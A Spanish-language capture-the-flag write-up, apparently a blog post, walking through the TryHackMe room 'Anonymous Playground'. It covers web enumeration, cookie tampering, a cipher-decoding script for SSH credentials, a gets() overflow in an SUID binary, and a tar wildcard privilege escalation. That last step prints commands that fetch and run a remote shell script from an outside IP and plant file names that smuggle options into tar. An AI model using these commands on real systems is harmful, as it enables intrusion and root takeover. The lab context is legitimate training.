This page looks best with JavaScript enabled

TryHackMe - Anonymous Playground

 •  ✍️ sckull

Anonymous Playground es una maquina de TryHackMe, inicialmente presenta un reto que mediante un script obtuvimos las credenciales para acceder al servicio SSH. Realizamos una pequeña explotacion de un archivo suid para realizar movimiento lateral. Finalmente utilizamos wildcards con tar para escalar privilegios.

Room

Titulo Anonymous Playground box_img_maker
Descripción Want to become part of Anonymous? They have a challenge for you. Can you get the flags and become an operative?
Puntos 190
Dificultad Dificil
Maker

Nameless0ne

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Mon Aug 17 16:53:27 2020 as: nmap -Pn -sV -o mini_scan anonymous.thm
Nmap scan report for anonymous.thm (10.10.168.121)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 17 16:54:24 2020 -- 1 IP address (1 host up) scanned in 57.27 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

En la pagina Operatives se muestra una lista de posibles usuarios.
image

En el codigo fuente de la imagen encontramos un comentario en el cual vemos una direccion de una pagina, dicha pagina no existe.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
kali@kali:~/thm/anonymousplayground$ gobuster dir -u http://anonymous.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 250 -q -x php,html,txt
/index.php (Status: 200)
/images (Status: 301)
/js (Status: 301)
/robots.txt (Status: 200)

En robots.txt encontramos una direccion que al visitarla nos muestra un mensaje.
image

En esta ultima pagina encontramos un cookie el cual está configurado en denied.
image

Le cambiamos el valor a granted utilizando firefox.
image

Recargamos la pagina y ahora nos muestra el siguiente mensaje, al parecer es un mensaje codificado.
image

MAGNA - USER

Intenamos con los diferentes bases y ciphers pero no logramos obtener ningun valor interesante, en la plataforma nos da una pista donde el valor zA es a:

1
You're going to want to write a Python script for this. 'zA' = 'a'

Podemos ver que zA = a eso quiere decir que cada par de letras tiene un valor, de tal forma que quedaria de la siguiente forma si reemplazamos zA, pero solo tenemos el valor de a.

1
2
- hE zA dC fH zA::hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN
+ hE a  dC fH a ::hE a  dC fH a  hA iJ a  eI aD jB cB hH gA a  fH fN

La cantidad de caracteres al decodificarlo quedaria de la siguiente forma 5::17. Los usuarios que encontramos ninguno de ellos tiene más de 17 caracteres pero si encontramos cuatro de ellos que tienen 5 caracteres (['ninja', 'jammy', 'magna', 'skidy']) por lo que quizas la primera parte de la codificacion tenga uno de los usuarios y posiblemente la segunda, una contraseña.

En la primera parte tenemos 5 caracteres para un “usuario”, segun la pista la primera parte tiene dos a y entre los usuarios solo magna tiene la misma letra en la misma posision, por lo que el valor hE posiblemente pertenezca a m y asi con los valores siguientes.

1
2
3
- hE zA dC fH zA
+ hE a  dC fH a 
+ m  a  g  n  a

Escribimos un pequeño script el cual utiliza un numero (n) para poder encontrar la letra m (con chr()), utilizando los valores unicode del par de letras (con ord()), sumando el valor de cada uno de ellos y restando o sumando el numero (n).

1
2
3
4
5
6
>>> ord('h')
104
>>> ord('E')
69
#Valor Esperado con la "formula"
chr(104 + 69 +/- n) = "m"

Hay que tomar en cuenta que el valor zA es a:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#"Credentials"
encoded_cred = "hE zA dC fH zA".split(' ')

#USERS
users = open('users.txt','r')
users = [x.rstrip() for x in users]
users = [x for x in users if len(x) == 5]

def decode(num, lista):
	tmp = ""
	for i in lista:
		if i == "zA":
			tmp = tmp + "a"
		else:
			tmp = tmp + str(chr( ord(i[0]) + ord(i[1]) - num))
	return(tmp)

for i in range(0, 256):
	value = ord('h') + ord('E') - i	
	if value in range(90,123):
		if chr(value) == "m":
			print("Posible numero: " + str(i))
			print(decode(i, encoded_cred))

Al ejecutar el script nos devuelve el numero que se puede utilizar para encontrar el valor de m el cual utilizamos para decodificar la primera parte, y el resultado fue magna.

1
2
3
kali@kali:~/thm/anonymousplayground$ python creds.py 
Posible numero: 64
magna

Realizamos lo mismo pero ahora con la segunda parte:

1
2
3
encoded_cred_two = "hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN".split(' ')
encoded_cred = "hE zA dC fH zA".split(' ')
print(decode(64, encoded_cred) + "::" + decode(64, encoded_cred_two))

Utilizamos estas “credenciales” en el servicio SSH y logramos obtener una shell y nuestra primera flag.txt.

image

USER - SPOOKY

En la carpeta principal encontramos una nota en el cual indica que Spooky hizo un binario en C y que en la maquina esta installado radare2 y gdb para poder realizarle un reversing:

1
2
3
4
5
6
7
8
9
Hey Magna,

Check out this binary I made!  I've been practicing my skills in C so that I can get better at Reverse
Engineering and Malware Development.  I think this is a really good start.  See if you can break it!

P.S. I've had the admins install radare2 and gdb so you can debug and reverse it right here!

Best,
Spooky

El binario se encuentra en la carpeta principal.
image

Utilizamos radare2, vemos varias funciones interesantes como sym.main y sym.call_bash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[0x00400570]> afl
0x00400000    3 72   -> 73   sym.imp.__libc_start_main
0x004004e0    3 23           sym._init
0x00400510    1 6            sym.imp.puts
0x00400520    1 6            sym.imp.system
0x00400530    1 6            sym.imp.printf
0x00400540    1 6            sym.imp.gets
0x00400550    1 6            sym.imp.setuid
0x00400560    1 6            sym.imp.sleep
0x00400570    1 43           entry0
0x004005a0    1 2            sym._dl_relocate_static_pie
0x004005b0    3 35           sym.deregister_tm_clones
0x004005e0    3 53           sym.register_tm_clones
0x00400620    3 34   -> 29   sym.__do_global_dtors_aux
0x00400650    1 7            entry1.init
0x00400657    1 129          sym.call_bash
0x004006d8    1 56           sym.main
0x00400710    4 101          sym.__libc_csu_init
0x00400780    1 2            sym.__libc_csu_fini
0x00400784    1 9            sym._fini
[0x00400570]>

En sym.main vemos que simplemente realiza una impresion y pregunta por algo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[0x00400570]> pdf @sym.main
            ;-- main:
/ (fcn) sym.main 56
|   sym.main ();
|           ; var int local_50h @ rbp-0x50
|           ; var int local_44h @ rbp-0x44
|           ; var int local_40h @ rbp-0x40
|              ; DATA XREF from 0x0040058d (entry0)
|           0x004006d8      55             push rbp
|           0x004006d9      4889e5         mov rbp, rsp
|           0x004006dc      4883ec50       sub rsp, 0x50               ; 'P'
|           0x004006e0      897dbc         mov dword [local_44h], edi
|           0x004006e3      488975b0       mov qword [local_50h], rsi
|           0x004006e7      488d3d1d0100.  lea rdi, qword str.Who_do_you_want_to_hack ; 0x40080b ; "Who do you want to hack? "
|           0x004006ee      b800000000     mov eax, 0
|           0x004006f3      e838feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004006f8      488d45c0       lea rax, qword [local_40h]
|           0x004006fc      4889c7         mov rdi, rax
|           0x004006ff      b800000000     mov eax, 0
|           0x00400704      e837feffff     call sym.imp.gets           ; char*gets(char *s)
|           0x00400709      b800000000     mov eax, 0
|           0x0040070e      c9             leave
\           0x0040070f      c3             ret

En sym.call_bash vemos que realiza varias impresiones y al final ejecuta /bin/sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[0x00400570]> pdf @sym.call_bash
/ (fcn) sym.call_bash 129
|   sym.call_bash ();
|           0x00400657      55             push rbp
|           0x00400658      4889e5         mov rbp, rsp
|           0x0040065b      488d3d360100.  lea rdi, qword str.We_are_Anonymous. ; 0x400798 ; "\nWe are Anonymous."
|           0x00400662      e8a9feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400667      bf01000000     mov edi, 1
|           0x0040066c      e8effeffff     call sym.imp.sleep          ; int sleep(int s)
|           0x00400671      488d3d330100.  lea rdi, qword str.We_are_Legion. ; 0x4007ab ; "We are Legion."
|           0x00400678      e893feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040067d      bf01000000     mov edi, 1
|           0x00400682      e8d9feffff     call sym.imp.sleep          ; int sleep(int s)
|           0x00400687      488d3d2c0100.  lea rdi, qword str.We_do_not_forgive. ; 0x4007ba ; "We do not forgive."
|           0x0040068e      e87dfeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400693      bf01000000     mov edi, 1
|           0x00400698      e8c3feffff     call sym.imp.sleep          ; int sleep(int s)
|           0x0040069d      488d3d290100.  lea rdi, qword str.We_do_not_forget. ; 0x4007cd ; "We do not forget."
|           0x004006a4      e867feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004006a9      bf01000000     mov edi, 1
|           0x004006ae      e8adfeffff     call sym.imp.sleep          ; int sleep(int s)
|           0x004006b3      488d3d260100.  lea rdi, qword str.Message_corrupted_...Well...done. ; 0x4007e0 ; "[Message corrupted]...Well...done."
|           0x004006ba      e851feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004006bf      bf39050000     mov edi, 0x539              ; 1337
|           0x004006c4      e887feffff     call sym.imp.setuid
|           0x004006c9      488d3d330100.  lea rdi, qword str.bin_sh   ; 0x400803 ; "/bin/sh"
|           0x004006d0      e84bfeffff     call sym.imp.system         ; int system(const char *string)
|           0x004006d5      90             nop
|           0x004006d6      5d             pop rbp
\           0x004006d7      c3             ret
[0x00400570]>

Para entenderlo con más claridad utilizamos Ghidra y vemos el codigo fuente de ambas funciones, en main vemos que el valor de la variable local_48 tiene un tamaño de 64 y la segunda funcion simplemente realiza impresiones y una ejecucion:

1
2
3
4
5
6
7
8
9
undefined8 main(void)

{
  char local_48 [64];
  
  printf("Who do you want to hack? ");
  gets(local_48);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void call_bash(void)

{
  puts("\nWe are Anonymous.");
  sleep(1);
  puts("We are Legion.");
  sleep(1);
  puts("We do not forgive.");
  sleep(1);
  puts("We do not forget.");
  sleep(1);
  puts("[Message corrupted]...Well...done.");
  setuid(0x539); //1337
  system("/bin/sh");
  return;
}

Realizando la ejecucion del binario logramos obtener el mensaje Segmentation fault y el offset. Sabiendo el offset vamos a poder realizar la llamada a la funcion call_bash.
image

Logramos obtener una shell con el usuario Spooky.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion en el archivo /etc/crontab y encontramos que existe un cron que es ejecutado por el usuario root el cual realiza un backup de todo lo que se encuentre en /home/spooky.
image

Utilizamos los “parametros” para explotar esta vulnerabilidad creando un archivo que contenga nuestra shell inversa, y creamos los “parametros” los cuales van a ejecutar nuestra shell al igual que en la maquina CMESS - THM.

1
2
3
echo 'bash -c  "$(wget -qO- http://10.2.29.162/shell.sh)" ' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Creamos nuestra shell en nuestra maquina, ponemos a la escucha netcat y logramos obtener nuestra shell con usuario root y nuestra flag root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe